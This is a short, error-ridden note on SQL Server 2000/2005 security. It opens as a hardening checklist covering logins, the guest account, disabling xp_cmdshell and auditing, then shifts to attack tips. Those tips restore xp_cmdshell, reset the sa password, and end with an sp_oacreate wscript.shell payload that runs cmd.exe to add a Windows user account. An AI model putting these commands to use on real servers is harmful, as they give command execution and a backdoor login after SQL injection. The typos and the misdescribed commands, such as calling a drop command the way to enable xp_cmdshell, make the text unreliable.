-
check the sql server version
select @@version; -
list all of the user with sql server
we can use command “select name from syslogins where name is not null and name <> ‘sa’ order by name”;
and we can order by the user list to check the user privileges;
such as “select * from sysusers”
“select name,Password from syslogins where password is null order by name” -
limit the guest account
we can use command like :”select count(name) from sysusers where name=’guest’ and status <>0”
if result is zero,that no guest user and If result is one.maybe have the guest user.
4、delete the xp_cmdshell export m modules
The xp_cmdshell will exec the system command,if you have sql inject in your web,may be can get shell use this.
We can use command “select count(name) from sysobjects where name=’xp_cmdshell’” to get the return values.
If result is one and the xp_cmdshell is exists or not the cmdshell isn’t exists.
And we can use command “exec sp_drop extended proc ‘xp_cmdshell’”to close the xp_cmdshell in sql server 2000 or use command:
“sp_cpnfiguer ‘show advance options’,0”
“reconfigure”
“sp_configure ‘xp_cmdshell’,0;”
“reconfigure”
In sql server 2005.
(if we want to open the xp_cmdshell in sqlserver2000,we can use command :”exec sp_drop extendedproc ‘xp_cmdshell’,’xplog70.dll’;”)
-
use the sql and windows authentication
don’t allowed the sql account login in the sql server -
set the audit level
安全性中选中审核全部。 -
how to use sql connection manager tools to restore the xp_cmdshell
-
sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
-
sp_addextendedproc ‘xp_cmdshell’,’xpsql70.dll’
-
sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’
-
sp_password @old=null,@new=’complexpwd’,@loginame=’sa’
-
if we have not the xp_cmdshell,how to do continue
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/winnt/system32/cmd.exe /c net user username password /add’–